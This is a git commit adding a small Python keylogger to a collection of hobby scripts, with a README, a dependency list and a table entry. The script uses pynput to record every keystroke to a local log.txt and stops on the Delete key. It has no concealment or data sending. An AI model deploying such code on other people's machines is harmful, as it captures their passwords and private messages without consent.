Add keylogger project

This commit is contained in:
Preet Mishra 2019-10-04 23:07:50 +05:30 committed by preetmishra
parent ddddfe1162
commit 38abc6d080
4 changed files with 63 additions and 0 deletions

20
Keylogger/README.md Normal file
View File

@ -0,0 +1,20 @@
# Keylogger
A script written in Python that logs your input from the keyboard.
### Steps to run this on terminal
- Clone the project.
- Install the dependencies listed in requirements.txt.
- Run `python keylogger.py` in your terminal.
### PS
- You can use Delete key to exit the script.
- You can open log.txt to view your log.
### Author
**[Preet Mishra](https://www.github.com/preetmishra)**

View File

@ -0,0 +1,13 @@
astroid==2.1.0
autopep8==1.4.3
certifi==2019.9.11
colorama==0.4.1
isort==4.3.4
lazy-object-proxy==1.3.1
mccabe==0.6.1
pycodestyle==2.4.0
pylint==2.2.2
pynput==1.4.4
six==1.12.0
wincertstore==0.2
wrapt==1.10.11

29
Keylogger/script.py Normal file
View File

@ -0,0 +1,29 @@
import pynput
from pynput.keyboard import Key, Listener
keys = []
def on_press(key):
keys.append(key)
write_file(keys)
def write_file(keys):
with open('log.txt', 'w') as f:
for key in keys:
#removing ''
k = str(key).replace("'", "")
f.write(k)
#explicitly adding a space after every keystroke for readability
f.write(' ')
def on_release(key):
if key == Key.delete:
return False
with Listener(on_press = on_press, on_release = on_release) as listener:
listener.join()

View File

@ -34,6 +34,7 @@ So far, the following projects have been integrated to this repo:
|[Image circle formatter](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Image-Circulator) |[Berk Gureken](https://github.com/bureken) |
|[Image To PDF](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/images2pdf)|[msaoudallah](https://github.com/msaoudallah)|
|[Instadp Web Scrapper](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/InstadpShower)|[Psychiquest](https://github.com/psychiquest)|
|[Keylogger](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Keylogger) |[Preet Mishra](https://github.com/preetmishra) |
|[Minecraft Server in background](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Minecraft_server_in_background)|[Max von Forell](https://github.com/mvforell)|
|[Own IP locator](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Location_Of_Own_IP_Adress)|[Chris]()|
|[Port Scanner](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Port_Scanner)|[Plutoberth](https://github.com/Plutoberth)|